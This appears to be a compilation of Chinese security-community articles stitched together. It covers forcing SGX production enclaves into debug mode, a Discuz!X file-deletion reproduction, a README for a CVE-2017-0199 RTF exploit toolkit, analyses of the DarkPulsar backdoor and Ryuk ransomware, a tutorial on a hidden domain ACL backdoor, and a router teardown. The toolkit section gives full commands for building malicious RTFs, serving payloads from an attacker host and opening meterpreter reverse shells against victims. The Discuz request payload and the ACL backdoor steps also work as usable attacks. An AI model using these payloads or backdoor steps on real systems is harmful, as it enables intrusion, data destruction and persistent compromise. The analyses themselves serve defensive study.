Driver中HOOK ECREATE的函数，当SGX应用程序通过ioctl调用ECREATE函数时，向SGX Debug Helper程序请求debug
公钥的MRSIGNER，获取到MRSIGNER后篡改ECREATE参数secs.mrsigner和secs.attributes
。EINIT的流程如图14所示，SGX Driver HOOK socket，当SGX应用程序通过SGX
SDK中的GetLauchTokenRequest函数发出请求EINITTOKEN时，将其protobuf报文转发到SGX Debug
Helper,由SGX Debug Helper修改报文里的attribute和mrsigner并重新生成新的protobuf报文给SGX HOOK
Driver,之后SGX HOOK Driver将新生成的protobuf报文转给aesm，aesm调用LE获取到EINITTOKEN后通过SGX
SDK函数GetLaunchTokenResponse将EINITTOKEN以protobuf形式返回，同样此响应的socket被SGX HOOK
Driver拦获并转发给SGX Debuge Helper, 由SGX Debuge Helper篡改响应报文——生成real
EINITTOKEN和fake EINITTOKEN（针对real EINITTOKEN修改其attribute为not
debug）,并将这两个token一并发送给SGX HOOK Driver,SGX HOOK Driver自己留住real EINITTOKEN,将fake
EINITTOKEN 以protobuf形式发送给SGX 应用程序，此后SGX应用程序采用fake EINITTOKEN
通过get_misc_attr函数进行校验并成功，最后借助ioctl系统调用执行EINIT指令，此时SGX HOOK
Drvier对EINIT参数EINITTOKEN修正为real EINITTOKEN,再篡改SIGSTRUCT参数，EINIT 成功执行，大功告成。
动态转换法的主要思想是在SGX SDK中libsgx_uae_service.so 的 oal_get_launch_token函数通过socket
以protobuf封装参数信息，向aesm请求产生EINITTOKEN前，将protobuf的信息进行篡改以产生支持debug的EINITTOKEN；同时在SGX
驱动中将ECREATE和EINIT的参数SECS和SIGSTRUCT进行修改。
请求生成EINITTOKEN的修改点：
1. signature.key.modules 将其改成我们自己的debug模式的公钥；
2. sgx_attributes_t.flags |= SGX_FLAGS_DEBUG.
ECREATE的修改：
将ECREATE所需参数secs进行如下修改
1. secs.attributes |= SGX_FLAGS_DEBUG;
2. secs.mrsigner 替换成我们自己的debug模式的公钥的sha256.
EINIT的修改：
将EINIT所需的SIGSTRUCT参数进行修改，如表12所示
表12 动态转换时SIGSTRUCT的修改处
序号 | 数据域
---|---
1 | SIGSTRUCT.header.header1[1] |=0x1ULL <<63
2 | SIGSTRUCT.header.vendor = 0
3 | SIGSTRUCT.body.attributes |= SGX_FLAGS_DEBUG
4 | SIGSTRUCT.body.attributemask[0] &= ~SGX_FLAGS_DEBUG
5 | SIGSTRUCT.modulus
6 | SIGSTRUCT.signature
7 | SIGSTRUCT.q1
8 | SIGSTRUCT.q2
## 6 总结
本文从SGX的工作模型入手，研究了SGX的工作原理，特别是Enclave的保护机制和它的创建过程，从Enclave的创建过程得到启发，实现了静态转换和动态转换不同的两种方法对产品级的Enclave实现了debug调试。研究是在2018年进行，基于Linux操作系统，当时SGX的最新版本是2.2，测试验证工作也是基于2.2版本进行。现在已进入20年代，SGX新版本也到了2.6，在新版本上测试验证工作留给感兴趣的读者自行完成。
##
## 参考文献
[1]Frank McKeen.Intel® Software Guard Extensions(Intel® SGX)
[EB/OL].http://web.stanford.edu/class/ee380/Abstracts/150415-slides.pdf
[2]Intel.Intel® Software Guard Extensions Programming
Reference. OCTOBER 2014
[3] [Alexandre Adamski](https://blog.quarkslab.com/author/alexandre-adamski.html). [Overview of Intel SGX – Part 1, SGX
Internals](https://blog.quarkslab.com/overview-of-intel-sgx-part-1-sgx-internals.html "Permalink to Overview of Intel SGX - Part 1, SGX Internals")
[EB/OL]. <https://blog.quarkslab.com/overview-of-intel-sgx-part-1-sgx-internals.html> | 社区文章 |
# 【漏洞分析】Discuz!X ≤3.4 任意文件删除漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：seebug.org
原文地址：<https://paper.seebug.org/411/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：LoRexxar'@知道创宇404实验室**
**日期：2017年9月30日**
**0x01 简述**
[**Discuz!X**](http://www.discuz.net/) 社区软件，是一个采用 PHP 和 MySQL
等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日，[
**Discuz!修复了一个安全问题**](https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574)
用于加强安全性，这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日，知道创宇404 实验室开始应急，经过知道创宇404实验室分析确认，该漏洞于2014年6月被提交到
Wooyun漏洞平台，Seebug漏洞平台收录了该[ **漏洞**](https://www.seebug.org/vuldb/ssvid-93588)
，漏洞编号 ssvid-93588。该漏洞通过配置属性值，导致任意文件删除。
经过分析确认，原有的利用方式已经被修复，添加了对属性的 formtype 判断，但修复方式不完全导致可以绕过，通过模拟文件上传可以进入其他 unlink
条件，实现任意文件删除漏洞。
**0x02 复现**
登陆DZ前台账户并在当前目录下新建 test.txt 用于测试
请求
home.php?mod=spacecp&ac=profile&op=base
POST birthprovince=../../../test.txt&profilesubmit=1&formhash=b644603b
其中formhash为用户hash
修改成功之后出生地就会变为../../../test.txt
构造请求向home.php?mod=spacecp&ac=profile&op=base上传文件（普通图片即可）
请求后文件被删除
**
**
**0x03 漏洞分析**
Discuz!X 的码云已经更新修复了该漏洞
<https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574>
核心问题在upload/source/include/spacecp/spacecp_profile.php
跟入代码70行
if(submitcheck('profilesubmit')) {
当提交 profilesubmit 时进入判断，跟入177行
我们发现如果满足配置文件中某个 formtype 的类型为 file，我们就可以进入判断逻辑，这里我们尝试把配置输出出来看看
我们发现formtype字段和条件不符，这里代码的逻辑已经走不进去了
我们接着看这次修复的改动，可以发现228行再次引入语句 unlink
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
回溯进入条件
当上传文件并上传成功，即可进入 unlink 语句
然后回溯变量$space[$key],不难发现这就是用户的个人设置。
只要找到一个可以控制的变量即可，这里选择了 birthprovince。
在设置页面直接提交就可以绕过字段内容的限制了。
成功实现了任意文件删除
**0x04 说在最后**
在更新了代码改动之后，通过跟踪漏洞点逻辑，我们逐渐发现，该漏洞点在 2014 年被白帽子提交到
Wooyun平台上，漏洞编号wooyun-2014-065513。
由于DZ的旧版代码更新流程不完整，已经没办法找到对应的补丁了，回溯到 2013 年的 DZ3 版本中，我们发现了旧的漏洞代码
在白帽子提出漏洞，可以通过设置个人设置来控制本来不可控制的变量，并提出了其中一种利用方式。
厂商仅对于白帽子的攻击 poc 进行了相应的修复，导致几年后漏洞再次爆出，dz 才彻底删除了这部分代码…
期间厂商对于安全问题的解决态度值得反思…
**0x05 Reference**
[1] Discuz!官网
<http://www.discuz.net>
[2] Discuz!更新补丁
<https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574>
[3] Seebug漏洞平台收录地址
<https://www.seebug.org/vuldb/ssvid-93588> | 社区文章 |
## Github地址：<https://github.com/bhdresh/CVE-2017-0199>
## Exploit toolkit CVE-2017-0199 - v2.0
Exploit toolkit CVE-2017-0199 - v2.0 is a handy python script which provides a
quick and effective way to exploit Microsoft RTF RCE. It could generate a
malicious RTF file and deliver metasploit / meterpreter payload to victim
without any complex configuration.
### Video tutorial
<https://youtu.be/42LjG7bAvpg>
### Release note:
Introduced following capabilities to the script
- Generate Malicious RTF file using toolkit
- Run toolkit in an exploitation mode as tiny HTA + Web server
Version: Python version 2.7.13
### Future release:
Working on following feature
- Automatically send generated malicious RTF to victim using email spoofing
### Example:
* Step 1: Generate malicious RTF file using following command and send it to victim
Syntax:
# python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u <http://attacker.com/test.hta>
Example:
# python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc
* Step 2 (Optional, if using MSF Payload) : Generate metasploit payload and start handler
Example:
Generate Payload:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
Start Handler:
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
* Step 3: Start toolkit in exploitation mode to deliver payloads
Syntax:
# python cve-2017-0199_toolkit.py -M exp -e <http://attacker.com/shell.exe> -l </tmp/shell.exe>
Example:
# python cve-2017-0199_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
### Command line arguments:
# python cve-2017-0199_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-0199 (Microsoft Word RTF RCE)
Modes:
-M gen Generate Malicious RTF file only
Generate malicious RTF file:
-w <Filename.rtf> Name of malicious RTF file (Share this file with victim).
-u <http://attacker.com/test.hta> The path to an hta file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.hta (This URL will be included in malicious RTF file and
will be requested once victim will open malicious RTF file.
-M exp Start exploitation mode
Exploitation:
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> Local path of an executable file / meterpreter shell / payload (If payload is hosted locally).
### Disclaimer
This program is for Educational purpose ONLY. Do not use it without
permission. The usual disclaimer applies, especially the fact that me
(bhdresh) is not liable for any damages caused by direct or indirect use of
the information or functionality provided by these programs. The author or any
Internet provider bears NO responsibility for content or misuse of these
programs or any derivatives thereof. By using this program you accept the fact
that any damage (dataloss, system crash, system compromise, etc.) caused by
the use of these programs is not bhdresh's responsibility.
### Credit
@nixawk for RTF sample, @bhdresh
### Bug, issues, feature requests
Obviously, I am not a fulltime developer so expect some hiccups
Please report bugs, issues to [[email protected]](mailto:[email protected]) | 社区文章 |
本稿件为翻译稿，详细内容见：https://securelist.com/darkpulsar/88199/
在2017年3月，ShadowBrokers发表了一大部分被盗数据，其中包含两种构架：DanderSpritz 和 FuzzBunch。
DanderSpritz完全由插件组成，用于收集情报，使用漏洞并检查已经被控制的机器。它是用Java编写的，提供了类似于僵尸网络管理面板的图形窗口界面以及类似Metasploit的控制台界面。它也包含自己的后门和插件，用于非FuzzBunch控制的受害者。
在另一方面DanderSprit
接口Fuzzbunch为不同的实用程序提供了一个交互和协同工作的框架。它包含各种类型的插件，用于分析受害者，利用漏洞，计划任务等。FuzzBunch框架的插件集中有三个文件：
* %pluginName%-version.fb
这是框架的实用程序文件。 它从XLM复制标头并包含插件的ID。
* %pluginName%-version.exe
当FuZZbuNch收到执行此命令的命令时，将启动此可执行文件。
* %pluginName%-version.xml
此配置文件描述了插件的输入和输出参数—参数名称，其类型和对其负责的描述；所有这些可以在FuzzBunch中显示为提示。该文件也为框架的可用性做出了很大贡献，因为它支持默认参数的规范。
最有趣的Fuzzbunch类别之一称为ImplantConfig，其中包含旨在通过植入后控制受感染机器的插件。DarkPulsar是一个非常有趣的管理模块，用于控制名为“sipauth32.tsp”的被动后门，该后门提供属于此类别的远程控制。
它支持以下命令：
* Burn
* RawShellcode
* EDFStagedUpload
* DisableSecurity
* EnableSecurity
* UpgradeImplant
* PingPong
Burn，RawShellcode，UpgradeImplant和PingPong移除植入物，运行任意代码，升级植入物并检查后门是否分别安装在远程机器上。
其他命令的目的并不那么明显，更糟糕的是，泄漏的框架只包含管理模块来处理DarkPulsar的后门，而不是后门本身。
在分析管理模块时，我们注意到几个常量用于加密C＆C和植入物之间的流量：
我们认为可能这些常量也应该出现在后门中，因此我们为它们创建了一个检测器。几个月后，我们发现了神秘的DarkPulsar后门。后来我们能够找到32位和64位版本。
我们发现大约50名受害者位于俄罗斯，伊朗和埃及，通常感染Windows 2003/2008服务器。 目标涉及核能，电信，IT，航空航天和R&D研发。
### DarkPulsar 技术亮点
DarkPulsar植入体是一个动态库，其有效载荷在导出的函数中实现。这些功能可以分组如下：
1.两个无名函数用于在系统中安装后门。
2.名称与TSPI（电话服务提供程序接口）操作相关的函数，用于确保后门位于自动运行列表中并能够自动启动。
3.具有与SSPI（安全支持提供程序接口）操作相关的名称的函数。它承载了主要的恶意负载。
SSPI和TSPI接口的实现是简洁的：DarkPulsar导出的函数与接口函数的名称相同; 但是，它们包含恶意代码而不是电话服务。
植入物通过无名导出功能安装在系统中。通过调用具有管理员权限的`Secur32.AddSecurityPackage`以及参数中它自己的库的路径来启动后门，导致`lsass.exe`将DarkPulsar加载为SSP
/
AP，并由DarkPulsar初始化后门来调用其导出的函数`SpLsaModeInitialize`。这样，`AddSecurityPackage`用于将代码注入`lsass.exe`。
它还在`HKLM\Software\Microsoft\Windows\CurrentVersion\Telephony\Providers`添加了库名。
这是在远程访问连接管理器（RasMan）服务旁边启动的Telephony
API（TapiSrv）开始加载，将启动类型设置为“自动”。加载由电话服务提供商的库时，TapiSrv调用TSPI_lineNegotiateTSPIVersion，其中包含AddSecurityPackage调用以实现注入到lsass.exe。
DarkPulsar通过为SpAcceptLsaModeContext（负责身份验证的函数）安装钩子来实现其有效负载。此类注入在进程lsass.exe中的多个系统身份验证数据包中生成，并允许Darkpulsar根据以下协议控制身份验证过程：
* Msv1_0.dll – 用于NTLM协议，
* Kerberos.dll – 用于Kerberos协议，
* Schannel.dll – 用于TLS / SSL协议，
* Wdigest.dll – 用于摘要协议，
* Lsasrv.dll – 用于谈判协议。
在此之后，Darkpulsar能够将恶意软件流量嵌入到系统协议中。由于此网络活动是根据标准系统图表进行的，因此它只会反映在系统进程中，它使用为上述协议保留的系统端口，而不会妨碍其正常运行。
控制身份验证过程的第二个优点是可以绕过输入有效的用户名和密码，以获取对需要身份验证的对象的访问权限，例如进程列表，远程注册表，通过SMB的文件系统。发送Darkpulsar的DisableSecurity命令后，受害方的后门挂钩将始终在SpAcceptLsaModeContext函数中返回，该函数传递的凭据有效。得到它，系统将提供对客户端的受保护对象的访问。
### 利用DarkPulsar工作
Darkpulsar-1.1.0.exe是在“一个命令-一次启动”原则下工作的管理界面。要执行的命令必须在配置文件Darkpulsar-1.1.0.9.xml中指定或者作为命令行参数指定，至少详细说明：
* 目标计算机是使用32位还是64位系统；
* 提供命令和端口号的协议（支持SMB，NBT，SSL，RDP协议）
* 私有RSA密钥，用于解密会话AES密钥
Darkpulsar-1.1.0并非是管理受感染机器的独立程序。该实用程序是Fuzzbunch框架的插件，可以管理参数和协调不同的组件。以下是Fuzzbunch中的DisableSecurity命令的样子：
下面是DisableSecurity之后的Processlist示例，允许执行任何没有有效凭据的插件，并通过常规系统功能（远程注册表服务）进行操作：
### DanderSpritz
DanderSpritz是用于控制受感染机器的框架，与FuZZbuNch不同，因为后者为具有特定功能的后开发阶段提供了有限的工具包，例如DisableSecurity和DarkSeuls的EnableSecurity。
DanderSpritz适用于更大范围的后门，在受害者中使用PeedleCheap来启动运营商以启动插件。PeddleCheap是DanderSpritz的插件，可用于配置植入物并连接到受感染的机器。建立连接后，所有DanderSpritz后期开发功能都是可用的。
这就是EDFStagedUpload模式中的DarkPulsar如何通过更实用的植入物为受害者提供感染的机会：PCDllLauncher（Fuzzbunch的插件）在受害者一侧部署PeddleCheap植入物，DanderSpritz提供用户友好的开发后界面。因此，PCDllLauncher的全名是'PeddleCheap
DLL Launcher'。
完整的DanderSpritz与通过FuZZbuNch 的
PeddleCheap插件及DarkPulsar和PCDllLauncher插件使用方案包含四个步骤：
1.通过FuZZbuNch，运行命令EDFStagedUpload以启动DarkPulsar。
2.在DanderSpritz中，运行命令pc_prep（PeedelCheap Preparation）以准备有效载荷和要在种植体侧启动的库。
3.在DanderSpritz中，运行命令pc_old（这是命令pc_listen -reuse -nolisten -key
Default的别名）,这会将其设置为等待来自Pcdlllauncher的套接字。
4.通过FuZZbuNch启动Pcdlllauncher并指定使用ImplantFilename参数中的命令pc_prep准备的有效负载的路径。
### 结论
FuzzBunch和DanderSpritz框架旨在提高灵活性，扩展功能并与其他工具兼容。它们都包含一组专为不同任务设计的插件：虽然FuzzBunch插件负责侦察和攻击受害者，但DanderSpritz框架中的插件是为管理已感染的受害者而开发的。
DarkPulsar后门的发现有助于理解它作为两个泄露框架之间的桥梁的作用，以及它们如何基于DarkPulsar的持久性和隐身性的先进能力，成为同一攻击平台的一部分，这些平台是为长期妥协而设计的。这些功能的实现（例如将其流量封装到合法协议中并绕过输入凭证以通过身份验证）非常专业。
我们的产品可以完全删除与此攻击恶意软件相关的内容。
### 检测恶意网络活动
在受感染的计算机中执行EDFStagedUpload时，会建立永久连接，这就是出现通过端口445的流量的原因。lsass.exe中还出现一对绑定套接字：
当DanderSpritz通过PcDllLauncher插件部署PeddleCheap的有效负载时，网络活动会急剧增加。
当终止与受感染计算机的连接时，网络活动将停止，并且只保留lsass.exe中两个绑定套接字的跟踪：
### IOCs
implant – 96f10cfa6ba24c9ecd08aa6d37993fe4
File path – %SystemRoot%\System32\sipauth32.tsp
Registry – HKLM\Software\Microsoft\Windows\CurrentVersion\Telephony\Providers | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://labs.sentinelone.com/an-inside-look-at-how-ryuk-evolved-its-encryption-and-evasion-techniques/>**
### 前言
在过去的三个月里，勒索软件上升了[50%](https://blog.checkpoint.com/2020/10/06/study-global-rise-in-ransomware-attacks/
"50%")，在一系列高调攻击之后，Ryuk勒索软件获得了最多的关注。上个月，有[报道](https://www.bleepingcomputer.com/news/security/uhs-hospitals-hit-by-reported-country-wide-ryuk-ransomware-attack/
"报道")称，Ryuk攻击了UHS的医院网络，攻击范围为美国各海岸之间UHS的医疗设施。这一攻击使得许多医院工作人员无法正常使用实验室、放射检查和患者记录，这导致工作人员不得不使用纸笔对患者进行分类。目前，Ryuk每周攻击大约20个组织，这个数字可能会不断扩大。
Ryuk利用了[TrickBot](https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/ "TrickBot")和[Emotet](https://www.sentinelone.com/blog/inside-emotet-banking-trojan-malware-distributor/
"Emotet")等其他工具，快速响应了[Zerologon](https://www.sentinelone.com/blog/zerologon-cve-2020-1472-sentinelone-first-to-detect-on-the-endpoint/
"Zerologon")等新暴露的漏洞。我们还看到，Ryuk自出现以来一直在进行迭代以逃避检测，显著提高了从执行到完全加密所需的时间，这使得我们的防范变得越发艰难。
这篇文章介绍了Ryuk自2018年以来的发展历程，并探索了Ryuk加密速度和规避技术的改进。我们详细介绍了一种可以用来从内存中提取Ryuk可执行文件并将其转储到文件中以进行进一步检查的方法。
### 概述
当Ryuk出现时，人们最初以为它是由开发Hermes勒索软件的同一攻击者开发的。后来，Hermes在黑市上出售，攻击者购买了该框架，并将其转换为我们今天所知的Ryuk。
目前的攻击使用了Emotet、Trickbot和Ryuk的组合。最近几周，有人甚至观察到了Ryuk背后的攻击者使用ZeroLogon来扩大他们的影响范围并扩大勒索软件的有效载荷。虽然Ryuk有效负载并不特别包含ZeroLogon功能，但该漏洞在攻击链的早期阶段被利用。攻击者可以利用Cobalt
Strike和类似框架中的现有功能来实现权限提升。很快，ZeroLogon将成为攻击者工具中的一个主要部分。
### Ryuk 2018 - 2020
如果我们将早期版本的Ryuk与最新版本进行比较，我们可以注意到一些有趣的变化。在最新版本中，Ryuk混淆了其硬编码字符串，使AV供应商更难检测到：
图1:Ryuk 2018 vs 2020
Ryuk 2020也通过复制自身来提高加密速度，我们将在下面详细讨论。
勒索软件使用RSA和AES加密扩展名为`.ryk`的文件，为加密的每个文件创建一个新线程。Ryuk还使用了`CryptGenRandom`
API，该API使用随机字节填充缓冲区以生成数据加密密钥。
图2：随机生成字节
新一代的BCOMRandom API可能会在下一代的CNOMRANSWARE API中提供相同的结果：新一代的`BCOMRANTARES`
API可能会被弃用。
早期的Ryuk二进制文件与我们最近的示例之间的一个显著区别是完全加密本地磁盘所需的时间。2018年的二进制文件加密本地磁盘需要将近一个小时，而2020年版本只需要不到10分钟。
图3:2018 Ryuk慢加密
更新的Ryuk变种加快了加密速度，这给企业安全工作增加了额外的负担。在造成重大破坏之前，检测、减轻和根除Ryuk的反应时间非常有限，许多组织都无法及时控制勒索软件。这种攻击如果发生在[UHS的网络](https://www.forbes.com/sites/tommybeer/2020/09/28/report-big-us-hospital-system-struck-by-cyberattack-forcing-staff-to-resort-to-paper-and-pen/#7879852256b6
"UHS的网络")中，就要求医院工作人员[立即](https://www.forbes.com/sites/tommybeer/2020/09/28/report-big-us-hospital-system-struck-by-cyberattack-forcing-staff-to-resort-to-paper-and-pen/#1feabab156b6 "立即")关闭计算机系统，以防止更多的机器受到Ryuk的感染。
### Ryuk 2020
这个特定的Ryuk样本（f8bc1638ec3b04412f708233e8586e1d91f18f6715d68cba1a491d4a7f457da0）具有已签名的数字证书，该证书已被其颁发者明确吊销。
* Serial Number: 0a 1d c9 9e 4d 52 64 c4 5a 50 90 f9 32 42 a3 0a
* Subject: CN = K & D KOMPANI d.o.o
图4:证书吊销
当Ryuk开始执行时，它会复制自身并将这个副本转储到同一个目录中，其中包含一个随机生成的8个字符的名称。但是，文件名总是以“…lan.exe”.
这些重复文件有助于启动多个线程。Ryuk使用硬编码字符串列表来搜索和停止特定运行的进程（图1）。然后，它尝试将自身注入到其他进程中。
图5：Droppers
Ryuk下一步开始执行某些命令行工具来实现一些破坏性的效果。它试图通过利用`cmd.exe /c 'WMIC.exe shadowcopy
delete'`来阻止用户恢复。接下来是`cmd.exe /c 'vssadmin.exe Shadows /all /quiet”`和`cmd.exe
/c 'bcdedit /set {default} recoveryenabled No & bcdedit /set {default}'`。
图6:未停止的服务
在Windows WoW目录中创建了一个icacs .exe，它赋予系统上的驱动器的完全权限，这样Ryuk就有了加密所有驱动器所需的一切。
图7-1:授予权限
图7-2：授予icacls权限
### 从内存中提取可执行文件
为了避免被发现，恶意软件使用了各种各样的逃避技术，比如自我注入。Ryuk通过分配内存来使用这项技术来写入PE文件。在此之后，它调用`VirtualProtect`来更改节的执行权限。
从内存中提取可执行文件的一种快速方法是在调试器中运行二进制文件，并在分配的内存位置设置断点。为此，我们使用 **x32dbg**
，并在VirtualAlloc上设置一个断点。需要注意的是，在为`VirtualAlloc`设置断点时，应该按照 **jmp**
例程进入`Kernelbase`，以获取新分配区域的基址，并在返回时设置断点。调试器运行后，将命中断点。按照 **EAX**
寄存器到内存转储部分查看MZ是否存在。
图8：转储二进制文件
当进程运行时，它将到达断点`VirtualAlloc`，在 **EAX** 中是新分配的虚拟内存部分，开始将其自身的副本加载到此部分。在 **EAX**
到内存转储之后，显示内存已被分配用于加载。当继续该过程时，dump窗口在到达多次设置的断点时开始填充数据。一旦确认二进制文件已完全加载到此部分，就可以转储二进制数据以供检查。
图9:将内存转储到文件
下一步是右键单击内存转储并在内存映射中跟踪转储。这样就可以看到转储在内存中的分配位置，然后可以从这里将内存转储到文件中。但是，如图9所示，注意转储内存没有有效的PE头文件。我们必须修改头部，以便PE(图10)可以在您选择的工具中工作。
图10：修复Headers
这个特殊的二进制文件很容易修改。打开你最喜欢的Hex编辑器，加载文件，高亮显示MZ之前的所有内容并删除它。有时，如果一个内存块损坏了magic字节，那么仅仅删除多余的字节是行不通的。在这种情况下，您可以复制一个已知良好的header，并将其添加到损坏的PE标头中，以生成有效的PE。
图11：三个内存转储文件
如果从一开始就遵循该过程，则断点将额外命中VirtualAlloc。我用上面显示的技术转储了内存，以说明为什么Ryuk在系统上的加密速度如此之快：
图12:Ryuk 2020的速度
### 结论
联邦调查局表示，Ryuk勒索软件的演员已经获得了[6100多万美元](https://www.youtube.com/watch?v=LUxOcpIRxmg&feature=emb_title
"6100多万美元")。随着Ryuk攻击导致组织瘫痪，这个数字将很快超过1亿。
这些攻击者使用的技术很容易理解，也相对简单。他们利用的弱点是组织无法迅速发现和补救，但这是[一个可以解决的问题](https://www.sentinelone.com/blog/behavioral-ai-an-unbounded-approach-to-protecting-the-enterprise/
"一个可以解决的问题")。因此，我们可以采用适当的[保护措施](https://www.sentinelone.com/platform/
"保护措施")来防范勒索软件。
在SentinelOne，我们跟踪不断变化的Ryuk变种，以了解这个勒索软件家族添加的最新功能。在这篇文章中，我们详细介绍了Ryuk是如何提高加密速度的，以及它使用的逃避方法。在以后的文章中，我们将介绍Ryuk的网络层以及在分析过程中收集到的其他信息。
### Samples
SHA256: f8bc1638ec3b04412f708233e8586e1d91f18f6715d68cba1a491d4a7f457da0
SHA1: c3fa91438850c88c81c0712204a273e382d8fa7b
SHA256: 7e28426e89e79e20a6d9b1913ca323f112868e597fcaf6b9e073102e73407b47
SHA1: 5767653494d05b3f3f38f1662a63335d09ae6489
### MITRE ATT&CK
Command and Scripting Interpreter
[T1059](https://attack.mitre.org/techniques/T1059/ "T1059")
Native API [T1106](https://attack.mitre.org/techniques/T1106/ "T1106")
Application Shimming
[T1546.011](https://attack.mitre.org/techniques/T1546/011/ "T1546.011")
Process Injection [T1055](https://attack.mitre.org/techniques/T1055/ "T1055")
Masquerading [T1036](https://attack.mitre.org/techniques/T1036/ "T1036")
Virtualization/Sandbox Evasion
[T1497.001](https://attack.mitre.org/techniques/T1497/001/ "T1497.001")
Deobfuscate/ Decode Files [T1140](https://attack.mitre.org/techniques/T1140/
"T1140")
Obfuscated Files or Information
[T1027](https://attack.mitre.org/techniques/T1027/ "T1027")
System Time Discovery [T1124](https://attack.mitre.org/techniques/T1124/
"T1124")
Security Software Discovery
[T1518.001](https://attack.mitre.org/techniques/T1518/001/ "T1518.001")
Process Discovery [T1057](https://attack.mitre.org/techniques/T1057/ "T1057")
File and Directory Discovery
[T1083](https://attack.mitre.org/techniques/T1083/ "T1083")
System Information Discovery
[T1082](https://attack.mitre.org/techniques/T1082/ "T1082")
Archive Collected Data [T1560](https://attack.mitre.org/techniques/T1560/
"T1560")
Encrypted Channel [T1573](https://attack.mitre.org/techniques/T1573/ "T1573")
* * * | 社区文章 |
# 【技术分享】一种深度隐蔽的域后门方式
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[360U1259595288](http://bobao.360.cn/member/contribute?uid=1259595288)（这位作者没有昵称哇）
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
在域网络中留隐蔽性高的后门一直是很多人追求的目标。今天分享一种基于域内对象ACL（Access Control Link访问控制链）的深度隐藏后门。
一直关注这方面的研究，后面会和大家分享系列的学习成果。
**0x01 背景知识介绍**
域网络中，域的组策略和脚本存放在域服务器的SYSVOL目录，所有域用户均可自由访问，但只有部分高权限用户才有修改权限。域内账号在登录域时，会查询、执行（如果有变化）属于自己的域策略、执行脚本。一定程度上说，控制了SYSVOL目录，就有很大概率控制域网络。
如果域中部署了登录日志审计软件，则会严格审计域内高权限账号的登录、使用情况。所以使用高权限用户控制域网络的方式，隐蔽性并不高。而且，一般来说，域策略会强制周期性修改高权限用户的密码，但是对低权限用户来说不一定有这个强制性要求，而且域中往往有很多用户几乎不怎么登录、使用。
如果低权限用户具备SYSVOL目录的修改权限，登录域时，因为权限不高颜值普通，不会被审计软件发现。现在的防护、监控类软件还没有过多关注目录的ACL，因此这种方式是一种很实用的隐蔽后门方式。
测试环境：Windows 2016 R2 英文版（域服务器，acllab.com）；Windows 7 SP1中文版（域内主机）。
**0x02 实现方式**
以SYSVOL目录下的Policies目录测试实现方式。
第一步，下面的这张图，使用普通用户eviluser登录域客户端Windows 7。通过net
use链接域服务器，可查看访问服务器共享的目录，但是没有写权限。
第二步，下面的这张图，表示在域服务器上，我们通过资源管理工具给Policies目录添加了写权限（也可以是完全控制权），并继承给所有子目录和文件。
接下来的这张图显示是Policies目录的安全选项卡，eviluser单独作为权限用户。正常情况下，普通用户都只有Authenticated
users用户组权限。
第三步，下面的图，服务器中目录的ACL权限设置成功后，在原来的IPC连接中，普通域用户eviluser成功地往Policies目录写入了数据，证明具备了对该目录的写入权限。从而可以修改里面的策略和脚本，一种隐蔽的后门。
在实际的应用中，界面操作不方便，Powershell脚本方式可实现同样的功能，如下图。
通过PowerShell设置了目录的控制权限，接下来的事情和上面一样，不再啰嗦。
**0x03 小结**
****
这种后门方式，只是演示了ACL后门的一种具体形式，因为域中的对象太多，可以操控的ACL对象也很多。读者可以根据自己的需要，灵活选择目标的ACL作为目标进行修改，埋藏后门。
当然关于ACL的检测，微软也推出了专门的工具，ACL Scanner，如果周期性地是用该工具进行检测，还是能检测到这种类型的后门。 | 社区文章 |
# PT632电信“老猫”分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：L.A.M[@Duncan](https://github.com/Duncan "@Duncan") SecTeam
## 0x00：引言
本以为电信的“老猫”（老旧光猫）是跑的OpenWrt，所以打一开始就先尝试着在各种操作系统上跑OpenWrt，然后把OpenWrt的系统架构和Luci的东西基本搞明白了，就好拿着master的“老猫”来玩一下。结果，很意外的结果，这款友华2014年之后生产的PT632光猫（在友华官网已经找不到这只猫了。。。），里面跑的压根儿不是电信现在主流的光猫软件系统。从线上和线下了解到的情况来看，现在电信当家光猫的Web应用是基于Luci定制“改发”的。然而，PT632光猫里面跑的是Tiny
Core Linux，一个非常mini的Linux发行版，适配Arm架构的版本大小不到10MB，你没看错，这货就是Linux王国里的“矮人族”或者“地精”。
其实，这样也蛮好的，正好有个机会了解一下Tiny Core
Linux这个小矮人。说人家是“小矮人”其实也不太恰当，毕竟在Distrowatch的年度排名还是72位哦。出于兴趣和该死的好奇，我下载x86
64位的TinyCore Linux，21MB，还能跑出这样的GUI，我还是很满足的。
差点忘了，按照team的规矩，得先祭上mindmap。。。
## 0x01：PT632软硬件简介
### 1、硬件
这款猫很老的另一个证明就是他只支持2.4GHz的单频，也就是说没有5GHz的Wi-Fi。对硬件不是很熟悉，就简单粗暴的把cpuinfo扔这里吧。。。
### 2、软件
操作系统：Tiny Core Linux
从设备的CMIIT
ID查询到的信息来看，PT632是友华在2014年就提交注册了的，但是系统信息显示呢，TCLinux是2016年编译的，或许这是系统做了一次在线升级，当然也可能是这猫是在2016年生产的。
